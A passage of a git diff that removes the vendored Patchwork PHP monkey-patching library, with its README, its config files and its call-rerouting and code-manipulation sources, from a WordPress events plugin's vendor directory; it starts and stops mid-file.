OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/Patchwork.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/Patchwork.php deleted file mode 100644 index 485117aa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/Patchwork.php +++ /dev/null @@ -1,144 +0,0 @@ - - * @copyright 2010-2023 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork; - -if (function_exists('Patchwork\replace')) { - return; -} - -require_once __DIR__ . '/src/Exceptions.php'; -require_once __DIR__ . '/src/CallRerouting.php'; -require_once __DIR__ . '/src/CodeManipulation.php'; -require_once __DIR__ . '/src/Utils.php'; -require_once __DIR__ . '/src/Stack.php'; -require_once __DIR__ . '/src/Config.php'; - -function redefine($subject, callable $content) -{ - $handle = null; - foreach (array_slice(func_get_args(), 1) as $content) { - $handle = CallRerouting\connect($subject, $content, $handle); - } - $handle->silence(); - return $handle; -} - -function relay(?array $args = null) -{ - return CallRerouting\relay($args); -} - -function fallBack() -{ - throw new Exceptions\NoResult; -} - -function restore(CallRerouting\Handle $handle) -{ - $handle->expire(); -} - -function restoreAll() -{ - CallRerouting\disconnectAll(); -} - -function silence(CallRerouting\Handle $handle) -{ - $handle->silence(); -} - -function assertEventuallyDefined(CallRerouting\Handle $handle) -{ - $handle->unsilence(); -} - -function getClass() -{ - return Stack\top('class'); -} - -function getCalledClass() -{ - return Stack\topCalledClass(); -} - -function getFunction() -{ - return Stack\top('function'); -} - -function getMethod() -{ - return getClass() . '::' . getFunction(); -} - -function configure() -{ - Config\locate(); -} - -function hasMissed($callable) -{ - return Utils\callableWasMissed($callable); -} - -function always($value) -{ - return function() use ($value) { - return $value; - }; -} - -Utils\alias('Patchwork', [ - 'redefine' => ['replace', 'replaceLater'], - 'relay' => 'callOriginal', - 'fallBack' => 'pass', - 'restore' => 'undo', - 'restoreAll' => 'undoAll', -]); - -configure(); - -Utils\markMissedCallables(); - -CodeManipulation\Stream::discoverOtherWrapper(); -CodeManipulation\Stream::wrap(); - -CodeManipulation\register([ - CodeManipulation\Actions\CodeManipulation\propagateThroughEval(), - CodeManipulation\Actions\CallRerouting\injectCallInterceptionCode(), - CodeManipulation\Actions\RedefinitionOfInternals\spliceNamedFunctionCalls(), - CodeManipulation\Actions\RedefinitionOfInternals\spliceDynamicCalls(), - CodeManipulation\Actions\RedefinitionOfNew\spliceAllInstantiations, - CodeManipulation\Actions\RedefinitionOfNew\publicizeConstructors, - CodeManipulation\Actions\ConflictPrevention\preventImportingOtherCopiesOfPatchwork(), -]); - -CodeManipulation\onImport([ - CodeManipulation\Actions\CallRerouting\markPreprocessedFiles(), -]); - -Utils\clearOpcodeCaches(); - -register_shutdown_function('Patchwork\Utils\clearOpcodeCaches'); - -CallRerouting\createStubsForInternals(); -CallRerouting\connectDefaultInternals(); - -require __DIR__ . '/src/Redefinitions/LanguageConstructs.php'; - -CodeManipulation\register([ - CodeManipulation\Actions\RedefinitionOfLanguageConstructs\spliceAllConfiguredLanguageConstructs(), - CodeManipulation\Actions\CallRerouting\injectQueueDeploymentCode(), - CodeManipulation\Actions\CodeManipulation\injectStreamWrapperReinstatementCode(), -]); - -if (Utils\wasRunAsConsoleApp()) { - require __DIR__ . '/src/Console.php'; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/README.md deleted file mode 100644 index 8352b855..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/README.md +++ /dev/null @@ -1,41 +0,0 @@ -# Patchwork - -Patchwork implements the redefinition ([monkey-patching](https://en.wikipedia.org/wiki/Monkey_patch)) of functions and methods in PHP. This includes both user-defined and internal callables, which can be functions, class methods, or instance methods. In addition, [many](https://github.com/antecedent/patchwork/blob/master/src/Redefinitions/LanguageConstructs.php) function-like constructs, such as `exit` or `include`, are supported in an analogous way. - -Internally, Patchwork uses a [stream wrapper](http://php.net/manual/en/class.streamwrapper.php) on `file://`. In the case of user-defined functions and methods, it is used to inject a simple interceptor snippet to the beginning of every such callable. For the remaining types of callables, various other strategies are applied. - -## Example: a DIY profiler - -```php -use function Patchwork\{redefine, relay, getMethod}; - -$profiling = fopen('profiling.csv', 'w'); - -redefine('App\*', function(...$args) use ($profiling) { - $begin = microtime(true); - relay(); # calls the original definition - $end = microtime(true); - fputcsv($profiling, [getMethod(), $end - $begin]); -}); -``` - -## Notes - -* *Method redefinition* is the internally preferred metaphor for Patchwork's behavior. -* `restoreAll()` and `restore($handle)` end the lifetime of, respectively, all redefinitions, or only one of them, where `$handle = redefine(...)`. -* Closure `$this` is automatically re-bound to the enclosing class of the method being redefined. -* The behavior of `__CLASS__`, `static::class` etc. inside redefinitions disregards the metaphor. `getClass()`, `getCalledClass()`, `getMethod()` and `getFunction()` from the `Patchwork` namespace should be used instead. - -## Testing-related uses - -Patchwork can be used to stub static methods, which, however, is a controversial practice. - -It should be applied prudently, that is, only after making oneself familiar with its pitfalls and temptations in other programming languages. For instance, in Javascript, Ruby, Python and some others, the native support for monkey-patching has made its testing-related uses more commonplace than in PHP. - -Tests that use monkey-patching are often no longer *unit* tests, because they become sensitive to details of implementation, not only those of interface: for example, such a test might no longer pass after switching from `time()` to `DateTime`. - -That being said, they still have their place where the only economically viable alternative is having no tests at all. - -## Other use cases - -Patchwork is not suggested for [AOP](https://en.wikipedia.org/wiki/Aspect-oriented_programming) and other kinds of production usage. Its impact on the application's performance is highly likely to be prohibitively large. Additionally, while no _particular_ Patchwork-related security risks are either known or anticipated, please keep in mind that Patchwork was never developed with production environments in mind. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/box.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/box.json deleted file mode 100644 index 9dc3317b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/box.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "base-path": null, - "output": "patchwork.phar", - "check-requirements": false, - "compactors": [ - "KevinGH\\Box\\Compactor\\Php" - ], - "main": "Patchwork.php", - "directories": [ - "src" - ], - "files": [ - "Patchwork.php", - "LICENSE" - ], - "dump-autoload": false -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/composer.json deleted file mode 100644 index 5d54aa85..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/composer.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "name": "antecedent/patchwork", - "homepage": "https://antecedent.github.io/patchwork/", - "description": "Method redefinition (monkey-patching) functionality for PHP.", - "keywords": ["testing", "redefinition", "runkit", "monkeypatching", "interception", "aop", "aspect"], - "license": "MIT", - "authors": [ - { - "name": "Ignas Rudaitis", - "email": "ignas.rudaitis@gmail.com" - } - ], - "minimum-stability": "stable", - "require": { - "php": ">=7.1.0" - }, - "require-dev": { - "phpunit/phpunit": ">=4" - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting.php deleted file mode 100644 index ae8a8827..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting.php +++ /dev/null @@ -1,604 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CallRerouting; - -require __DIR__ . '/CallRerouting/Handle.php'; -require __DIR__ . '/CallRerouting/Decorator.php'; - -use Patchwork\Utils; -use Patchwork\Stack; -use Patchwork\Config; -use Patchwork\Exceptions; -use Patchwork\CodeManipulation; -use Patchwork\CodeManipulation\Actions\RedefinitionOfLanguageConstructs; -use Patchwork\CodeManipulation\Actions\RedefinitionOfNew; - -const INTERNAL_REDEFINITION_NAMESPACE = 'Patchwork\Redefinitions'; -const EVALUATED_CODE_FILE_NAME_SUFFIX = '/\(\d+\) : eval\(\)\'d code$/'; -const INSTANTIATOR_NAMESPACE = 'Patchwork\Instantiators'; -const INSTANTIATOR_DEFAULT_ARGUMENT = 'Patchwork\CallRerouting\INSTANTIATOR_DEFAULT_ARGUMENT'; - -const INTERNAL_STUB_CODE = ' - namespace @ns_for_redefinitions; - function @name(@signature) { - $__pwArgs = \array_slice(\debug_backtrace()[0]["args"], 1); - if (!empty($__pwNamespace) && \function_exists($__pwNamespace . "\\\\@name")) { - return \call_user_func_array($__pwNamespace . "\\\\@name", $__pwArgs); - } - @interceptor; - return \call_user_func_array("@name", $__pwArgs); - } -'; - -const INSTANTIATOR_CODE = ' - namespace @namespace; - class @instantiator { - function instantiate(@parameters) { - $__pwArgs = \debug_backtrace()[0]["args"]; - foreach ($__pwArgs as $__pwOffset => $__pwValue) { - if ($__pwValue === \Patchwork\CallRerouting\INSTANTIATOR_DEFAULT_ARGUMENT) { - unset($__pwArgs[$__pwOffset]); - } - } - switch (count($__pwArgs)) { - case 0: - return new \@class; - case 1: - return new \@class($__pwArgs[0]); - case 2: - return new \@class($__pwArgs[0], $__pwArgs[1]); - case 3: - return new \@class($__pwArgs[0], $__pwArgs[1], $__pwArgs[2]); - case 4: - return new \@class($__pwArgs[0], $__pwArgs[1], $__pwArgs[2], $__pwArgs[3]); - case 5: - return new \@class($__pwArgs[0], $__pwArgs[1], $__pwArgs[2], $__pwArgs[3], $__pwArgs[4]); - default: - $__pwReflector = new \ReflectionClass(\'@class\'); - return $__pwReflector->newInstanceArgs($__pwArgs); - } - } - } -'; - -function connect($source, callable $target, ?Handle $handle = null, $partOfWildcard = false) -{ - $source = translateIfLanguageConstruct($source); - $handle = $handle ?: new Handle; - list($class, $method) = Utils\interpretCallable($source); - if (constitutesWildcard($source)) { - return applyWildcard($source, $target, $handle); - } - if (Utils\isOwnName($class) || Utils\isOwnName($method)) { - return $handle; - } - validate($source, $partOfWildcard); - if (empty($class)) { - if (Utils\callableDefined($source) && (new \ReflectionFunction($method))->isInternal()) { - $stub = INTERNAL_REDEFINITION_NAMESPACE . '\\' . $source; - return connect($stub, $target, $handle, $partOfWildcard); - } - $handle = connectFunction($method, $target, $handle); - } else { - if (Utils\callableDefined($source)) { - if ($method === 'new') { - $handle = connectInstantiation($class, $target, $handle); - } elseif ((new \ReflectionMethod($class, $method))->isUserDefined()) { - $handle = connectMethod($source, $target, $handle); - } else { - throw new InternalMethodsNotSupported($source); - } - } else { - $handle = queueConnection($source, $target, $handle); - } - } - attachExistenceAssertion($handle, $source); - return $handle; -} - -function constitutesWildcard($source) -{ - $source = Utils\interpretCallable($source); - $source = Utils\callableToString($source); - return strcspn($source, '*{,}') != strlen($source); -} - -function applyWildcard($wildcard, callable $target, ?Handle $handle = null) -{ - $handle = $handle ?: new Handle; - list($class, $method, $instance) = Utils\interpretCallable($wildcard); - if (!empty($instance)) { - foreach (Utils\matchWildcard($method, get_class_methods($instance)) as $item) { - if (!$handle->hasTag($item)) { - connect([$instance, $item], $target, $handle); - $handle->tag($item); - } - } - return $handle; - } - - $callables = Utils\matchWildcard($wildcard, Utils\getRedefinableCallables()); - foreach ($callables as $callable) { - if (!inPreprocessedFile($callable) || $handle->hasTag($callable)) { - continue; - } - if (function_exists($callable)) { - # Restore lower/upper case distinction - $callable = (new \ReflectionFunction($callable))->getName(); - } - connect($callable, $target, $handle, true); - $handle->tag($callable); - } - if (!isset($class) || !class_exists($class, false)) { - queueConnection($wildcard, $target, $handle); - } - return $handle; -} - -function attachExistenceAssertion(Handle $handle, $function) -{ - $handle->addExpirationHandler(function() use ($function) { - if (!Utils\callableDefined($function)) { - # Not using exceptions because this might happen during PHP shutdown - $message = '%s() was never defined during the lifetime of its redefinition'; - trigger_error(sprintf($message, Utils\callableToString($function)), E_USER_WARNING); - } - }); -} - -function validate($function, $partOfWildcard = false) -{ - list($class, $method) = Utils\interpretCallable($function); - if (!Utils\callableDefined($function) || $method === 'new') { - return; - } - $reflection = Utils\reflectCallable($function); - $name = Utils\callableToString($function); - if ($reflection->isInternal() && !in_array($name, Config\getRedefinableInternals())) { - throw new Exceptions\NotUserDefined($function); - } - if (!$reflection->isInternal() && !inPreprocessedFile($function) && !$partOfWildcard) { - throw new Exceptions\DefinedTooEarly($function); - } -} - -function inPreprocessedFile($callable) -{ - if (Utils\isOwnName(Utils\callableToString($callable))) { - return false; - } - $file = Utils\reflectCallable($callable)->getFileName(); - $evaluated = preg_match(EVALUATED_CODE_FILE_NAME_SUFFIX, $file); - return $evaluated || !empty(State::$preprocessedFiles[$file]); -} - -function connectFunction($function, callable $target, ?Handle $handle = null) -{ - $handle = $handle ?: new Handle; - $routes = &State::$routes[null][$function]; - $offset = Utils\append($routes, [$target, $handle]); - $handle->addReference($routes[$offset]); - return $handle; -} - -function queueConnection($source, callable $target, ?Handle $handle = null) -{ - $handle = $handle ?: new Handle; - $offset = Utils\append(State::$queue, [$source, $target, $handle]); - $handle->addReference(State::$queue[$offset]); - return $handle; -} - -function deployQueue() -{ - foreach (State::$queue as $offset => $item) { - if (empty($item)) { - unset(State::$queue[$offset]); - continue; - } - list($source, $target, $handle) = $item; - if (Utils\callableDefined($source) || constitutesWildcard($source)) { - connect($source, $target, $handle); - unset(State::$queue[$offset]); - } - } -} - -function connectMethod($function, callable $target, ?Handle $handle = null) -{ - $handle = $handle ?: new Handle; - list($class, $method, $instance) = Utils\interpretCallable($function); - $target = new Decorator($target); - $target->superclass = $class; - $target->method = $method; - $target->instance = $instance; - $reflection = Utils\reflectCallable($function); - $declaringClass = $reflection->getDeclaringClass(); - $class = $declaringClass->getName(); - $aliases = $declaringClass->getTraitAliases(); - if (isset($aliases[$method])) { - list($trait, $method) = explode('::', $aliases[$method]); - } - $routes = &State::$routes[$class][$method]; - $offset = Utils\append($routes, [$target, $handle]); - $handle->addReference($routes[$offset]); - return $handle; -} - -function connectInstantiation($class, callable $target, ?Handle $handle = null) -{ - if (!Config\isNewKeywordRedefinable()) { - throw new Exceptions\NewKeywordNotRedefinable; - } - $handle = $handle ?: new Handle; - $class = strtr($class, ['\\' => '__']); - $routes = &State::$routes["Patchwork\\Instantiators\\$class"]['instantiate']; - $offset = Utils\append($routes, [$target, $handle]); - $handle->addReference($routes[$offset]); - return $handle; -} - -function disconnectAll() -{ - foreach (State::$routes as $class => $routesByClass) { - foreach ($routesByClass as $method => $routes) { - foreach ($routes as $route) { - list($callback, $handle) = $route; - if ($handle !== null) { - $handle->expire(); - } - } - } - } - State::$routes = []; - connectDefaultInternals(); -} - -function dispatchTo(callable $target) -{ - return call_user_func_array($target, Stack\top('args')); -} - -function dispatch($class, $calledClass, $method, $frame, &$result, ?array $args = null) -{ - $trace = debug_backtrace(); - $isInternalStub = strpos($method, INTERNAL_REDEFINITION_NAMESPACE) === 0; - $isLanguageConstructStub = strpos($method, RedefinitionOfLanguageConstructs\LANGUAGE_CONSTRUCT_PREFIX) === 0; - $isInstantiator = strpos($method, INSTANTIATOR_NAMESPACE) === 0; - if ($isInternalStub && !$isLanguageConstructStub && $args === null) { - # Mind the namespace-of-origin argument - $args = array_reverse($trace)[$frame - 1]['args']; - array_shift($args); - } - if ($isInstantiator) { - $args = $args ?: array_reverse($trace)[$frame - 1]['args']; - foreach ($args as $offset => $value) { - if ($value === INSTANTIATOR_DEFAULT_ARGUMENT) { - unset($args[$offset]); - } - } - } - $success = false; - Stack\pushFor($frame, $calledClass, function() use ($class, $method, &$result, &$success) { - foreach (getRoutesFor($class, $method) as $offset => $route) { - if (empty($route)) { - unset(State::$routes[$class][$method][$offset]); - continue; - } - State::$routeStack[] = [$class, $method, $offset]; - try { - $result = dispatchTo(reset($route)); - $success = true; - } catch (Exceptions\NoResult $e) { - array_pop(State::$routeStack); - continue; - } - array_pop(State::$routeStack); - if ($success) { - break; - } - } - }, $args); - return $success; -} - -function relay(?array $args = null) -{ - list($class, $method, $offset) = end(State::$routeStack); - $route = &State::$routes[$class][$method][$offset]; - $backup = $route; - $route = ['Patchwork\fallBack', new Handle]; - $top = Stack\top(); - if ($args === null) { - $args = $top['args']; - } - $isInternalStub = strpos($method, INTERNAL_REDEFINITION_NAMESPACE) === 0; - $isLanguageConstructStub = strpos($method, RedefinitionOfLanguageConstructs\LANGUAGE_CONSTRUCT_PREFIX) === 0; - if ($isInternalStub && !$isLanguageConstructStub) { - array_unshift($args, ''); - } - try { - if (isset($top['class'])) { - $reflection = new \ReflectionMethod(Stack\topCalledClass(), $top['function']); - $reflection->setAccessible(true); - $result = $reflection->invokeArgs(Stack\top('object'), $args); - } else { - $result = call_user_func_array($top['function'], $args); - } - } catch (\Exception $e) { - $exception = $e; - } - $route = $backup; - if (isset($exception)) { - throw $exception; - } - return $result; -} - -/** - * @deprecated 2.2.0 - */ -function connectOnHHVM($function, Handle $handle) -{ - fb_intercept($function, function($name, $obj, $args, $data, &$done) { - deployQueue(); - list($class, $method) = Utils\interpretCallable($name); - $calledClass = null; - if (is_string($obj)) { - $calledClass = $obj; - } elseif (is_object($obj)) { - $calledClass = get_class($obj); - } - $frame = count(debug_backtrace(0)) - 1; - $result = null; - $done = dispatch($class, $calledClass, $method, $frame, $result, $args); - return $result; - }); - $handle->addExpirationHandler(getHHVMExpirationHandler($function)); -} - -/** - * @deprecated 2.2.0 - */ -function getHHVMExpirationHandler($function) -{ - return function() use ($function) { - list($class, $method) = Utils\interpretCallable($function); - $empty = true; - foreach (getRoutesFor($class, $method) as $offset => $route) { - if (!empty($route)) { - $empty = false; - break; - } else { - unset(State::$routes[$class][$method][$offset]); - } - } - if ($empty) { - fb_intercept($function, null); - } - }; -} - -function getRoutesFor($class, $method) -{ - if (!isset(State::$routes[$class][$method])) { - return []; - } - return array_reverse(State::$routes[$class][$method], true); -} - -function dispatchDynamic($callable, array $arguments) -{ - list($class, $method) = Utils\interpretCallable($callable); - $translation = INTERNAL_REDEFINITION_NAMESPACE . '\\' . $method; - if ($class === null && function_exists($translation)) { - $callable = $translation; - # Mind the namespace-of-origin argument - array_unshift($arguments, ''); - } - return call_user_func_array($callable, $arguments); -} - -function createStubsForInternals() -{ - $namespace = INTERNAL_REDEFINITION_NAMESPACE; - foreach (Config\getRedefinableInternals() as $name) { - if (function_exists($namespace . '\\' . $name)) { - continue; - } - $signature = ['$__pwNamespace']; - foreach ((new \ReflectionFunction($name))->getParameters() as $offset => $argument) { - $formal = ''; - if ($argument->isPassedByReference()) { - $formal .= '&'; - } - $formal .= '$' . $argument->getName(); - $isVariadic = is_callable([$argument, 'isVariadic']) ? $argument->isVariadic() : false; - if ($argument->isOptional() || $isVariadic || ($name === 'define' && $offset === 2)) { - continue; - } - $signature[] = $formal; - } - $refs = sprintf('[%s]', join(', ', $signature)); - $interceptor = sprintf( - str_replace( - '$__pwRefOffset = 0;', - '$__pwRefOffset = 1;', - \Patchwork\CodeManipulation\Actions\CallRerouting\CALL_INTERCEPTION_CODE - ), - $refs - ); - eval(strtr(INTERNAL_STUB_CODE, [ - '@name' => $name, - '@signature' => join(', ', $signature), - '@interceptor' => $interceptor, - '@ns_for_redefinitions' => INTERNAL_REDEFINITION_NAMESPACE, - ])); - } -} - -/** - * This is needed, for instance, to intercept the time() call in call_user_func('time'). - * - * For that to happen, we require that if at least one internal function is redefinable, then - * call_user_func, preg_replace_callback and other callback-taking internal functions also be - * redefinable: see Patchwork\Config. - * - * Here, we go through the callback-taking internals and add argument-inspecting patches - * (redefinitions) to them. - * - * The patches are then expected to find the "nested" internal calls, such as the 'time' argument - * in call_user_func('time'), and invoke their respective redefinitions, if any. - */ -function connectDefaultInternals() -{ - # call_user_func() etc. are not a problem if no other internal functions are redefined - if (Config\getRedefinableInternals() === []) { - return; - } - foreach (Config\getDefaultRedefinableInternals() as $function) { - # Which arguments are callbacks? Store their offsets in the following array. - $offsets = []; - foreach ((new \ReflectionFunction($function))->getParameters() as $offset => $argument) { - $name = $argument->getName(); - if (strpos($name, 'call') !== false || strpos($name, 'func') !== false) { - $offsets[] = $offset; - } - } - connect($function, function() use ($function, $offsets) { - # This is the argument-inspecting patch. - $args = Stack\top('args'); - $caller = Stack\all()[1]; - foreach ($offsets as $offset) { - # Callback absent - if (!isset($args[$offset])) { - continue; - } - $callable = $args[$offset]; - # Callback is a closure => definitely not internal - if ($callable instanceof \Closure) { - continue; - } - list($class, $method, $instance) = Utils\interpretCallable($callable); - if (empty($class)) { - # Callback is global function, which might be internal too. - $args[$offset] = function() use ($callable) { - return dispatchDynamic($callable, func_get_args()); - }; - } - # Callback involves a class => not internal either, since the only internals that - # Patchwork can handle as of 2.0 are global functions. - # However, we must handle all kinds of opaque access here too, such as self:: and - # private methods, because we're actually patching a stub (see INTERNAL_STUB_CODE) - # and not directly call_user_func itself (or usort, or any other of those). - # We must compensate for scope that is lost, and that callback-taking functions - # can make use of. - if (!empty($class)) { - if ($class === 'self' || $class === 'static' || $class === 'parent') { - # We do not discriminate between early and late static binding here: FIXME. - $actualClass = $caller['class']; - if ($class === 'parent') { - $actualClass = get_parent_class($actualClass); - } - $class = $actualClass; - } - - # When calling a parent constructor, the reference to the object being - # constructed needs to be extracted from the stack info. - # Also turned out to be necessary to solve this, without any parent - # constructors involved: https://github.com/antecedent/patchwork/issues/99 - if (is_null($instance) && isset($caller['object'])) { - $instance = $caller['object']; - } - try { - $reflection = new \ReflectionMethod($class, $method); - $reflection->setAccessible(true); - $args[$offset] = function() use ($reflection, $instance) { - return $reflection->invokeArgs($instance, func_get_args()); - }; - } catch (\ReflectionException $e) { - # If it's an invalid callable, then just prevent the unexpected propagation - # of ReflectionExceptions. - } - } - } - # Give the inspected arguments back to the *original* definition of the - # callback-taking function, e.g. \array_map(). This works given that the - # present patch is the innermost. - return call_user_func_array($function, $args); - }); - } -} - -/** - * @since 2.0.5 - * - * As of version 2.0.5, this is used to accommodate language constructs - * (echo, eval, exit and others) within the concept of callable. - */ -function translateIfLanguageConstruct($callable) -{ - if (!is_string($callable)) { - return $callable; - } - if (in_array($callable, Config\getRedefinableLanguageConstructs())) { - return RedefinitionOfLanguageConstructs\LANGUAGE_CONSTRUCT_PREFIX . $callable; - } elseif (in_array($callable, Config\getSupportedLanguageConstructs())) { - throw new Exceptions\NotUserDefined($callable); - } else { - return $callable; - } -} - -function resolveClassToInstantiate($class, $calledClass) -{ - $pieces = explode('\\', $class); - $last = array_pop($pieces); - if (in_array($last, ['self', 'static', 'parent'])) { - $frame = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 3)[2]; - if ($last == 'self') { - $class = $frame['class']; - } elseif ($last == 'parent') { - $class = get_parent_class($frame['class']); - } elseif ($last == 'static') { - $class = $calledClass; - } - } - return ltrim($class, '\\'); -} - -function getInstantiator($class, $calledClass) -{ - $namespace = INSTANTIATOR_NAMESPACE; - $class = resolveClassToInstantiate($class, $calledClass); - $adaptedName = strtr($class, ['\\' => '__']); - if (!class_exists("$namespace\\$adaptedName")) { - $constructor = (new \ReflectionClass($class))->getConstructor(); - list($parameters, $arguments) = Utils\getParameterAndArgumentLists($constructor); - $code = strtr(INSTANTIATOR_CODE, [ - '@namespace' => INSTANTIATOR_NAMESPACE, - '@instantiator' => $adaptedName, - '@class' => $class, - '@parameters' => $parameters, - ]); - RedefinitionOfNew\suspendFor(function() use ($code) { - eval(CodeManipulation\transformForEval($code)); - }); - } - $instantiator = "$namespace\\$adaptedName"; - return new $instantiator; -} - -class State -{ - static $routes = []; - static $queue = []; - static $preprocessedFiles = []; - static $routeStack = []; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Decorator.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Decorator.php deleted file mode 100644 index 1a641df0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Decorator.php +++ /dev/null @@ -1,62 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CallRerouting; - -use Patchwork; -use Patchwork\Stack; - -class Decorator -{ - public $superclass; - public $instance; - public $method; - - private $patch; - - public function __construct($patch) - { - $this->patch = $patch; - } - - public function __invoke() - { - $top = Stack\top(); - $superclassMatches = $this->superclassMatches(); - $instanceMatches = $this->instanceMatches($top); - $methodMatches = $this->methodMatches($top); - if ($superclassMatches && $instanceMatches && $methodMatches) { - $patch = $this->patch; - if (isset($top["object"]) && $patch instanceof \Closure) { - $patch = $patch->bindTo($top["object"], $this->superclass); - } - return dispatchTo($patch); - } - Patchwork\fallBack(); - } - - private function superclassMatches() - { - return $this->superclass === null || - Stack\topCalledClass() === $this->superclass || - is_subclass_of(Stack\topCalledClass(), $this->superclass); - } - - private function instanceMatches(array $top) - { - return $this->instance === null || - (isset($top["object"]) && $top["object"] === $this->instance); - } - - private function methodMatches(array $top) - { - return $this->method === null || - $this->method === 'new' || - $top["function"] === $this->method; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Handle.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Handle.php deleted file mode 100644 index 2c0d96d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CallRerouting/Handle.php +++ /dev/null @@ -1,65 +0,0 @@ - - * @copyright 2010-2018 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CallRerouting; - -class Handle -{ - private $references = []; - private $expirationHandlers = []; - private $silenced = false; - private $tags = []; - - public function __destruct() - { - $this->expire(); - } - - public function tag($tag) - { - $this->tags[] = $tag; - } - - public function hasTag($tag) - { - return in_array($tag, $this->tags); - } - - public function addReference(&$reference) - { - $this->references[] = &$reference; - } - - public function expire() - { - foreach ($this->references as &$reference) { - $reference = null; - } - if (!$this->silenced) { - foreach ($this->expirationHandlers as $expirationHandler) { - $expirationHandler(); - } - } - $this->expirationHandlers = []; - } - - public function addExpirationHandler(callable $expirationHandler) - { - $this->expirationHandlers[] = $expirationHandler; - } - - public function silence() - { - $this->silenced = true; - } - - public function unsilence() - { - $this->silenced = false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation.php deleted file mode 100644 index 96d9b3ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/antecedent/patchwork/src/CodeManipulation.php +++ /dev/null @@ -1,187 +0,0 @@ - - * @copyright 2010-2023 Ignas Rudaitis - * @license http://www.opensource.org/licenses/mit-license.html - */ -namespace Patchwork\CodeManipulation; - -require __DIR__ . '/CodeManipulation/Source.php'; -require __DIR__ . '/CodeManipulation/Stream.php'; -require __DIR__ . '/CodeManipulation/Actions/Generic.php'; -require __DIR__ . '/CodeManipulation/Actions/CallRerouting.php'; -require __DIR__ . '/CodeManipulation/Actions/CodeManipulation.php'; -require __DIR__ . '/CodeManipulation/Actions/Namespaces.php'; -require __DIR__ . '/CodeManipulation/Actions/RedefinitionOfInternals.php'; -require __DIR__ . '/CodeManipulation/Actions/RedefinitionOfLanguageConstructs.php'; -require __DIR__ . '/CodeManipulation/Actions/ConflictPrevention.php'; -require __DIR__ . '/CodeManipulation/Actions/RedefinitionOfNew.php'; -require __DIR__ . '/CodeManipulation/Actions/Arguments.php'; - -use Patchwork\Exceptions; -use Patchwork\Config; - -const OUTPUT_DESTINATION = 'php://memory'; -const OUTPUT_ACCESS_MODE = 'rb+'; - -function transform(Source $s) -{ - foreach (State::$actions as $action) { - $action($s); - } -} - -function transformString($code) -{ - $source = new Source($code); - transform($source); - return (string) $source; -} - -function transformForEval($code) -{ - $prefix = "file), 'w', false); - Stream::fwrite($handle, $source); - Stream::fclose($handle); -} - -function availableCached($file) -{ - if (!cacheEnabled()) { - return false; - } - $cached = getCachedPath($file); - return file_exists($cached) && - filemtime($file) <= filemtime($cached) && - Config\getTimestamp() <= filemtime($cached); -} - -function internalToCache($file) -{ - if (!cacheEnabled()) { - return false; - } - return strpos($file, Config\getCachePath() . '/') === 0 - || strpos($file, Config\getCachePath() . DIRECTORY_SEPARATOR) === 0; -} - - -function getContents($file) -{ - $handle = Stream::fopen($file, 'r', true); - if ($handle === false) { - return false; - } - $contents = ''; - while (!Stream::feof($handle)) { - $contents .= Stream::fread($handle, 8192); - } - Stream::fclose($handle); - return $contents; -} - -function transformAndOpen($file) -{ - foreach (State::$importListeners as $listener) { - $listener($file); - } - if (!internalToCache($file) && availableCached($file)) { - return Stream::fopen(getCachedPath($file), 'r', false); - } - $code = getContents($file); - if ($code === false) { - return false; - } - $source = new Source($code); - $source->file = $file; - transform($source); - if (!internalToCache($file) && cacheEnabled()) { - storeInCache($source); - return transformAndOpen($file); - } - $resource = fopen(OUTPUT_DESTINATION, OUTPUT_ACCESS_MODE); - if ($resource) { - 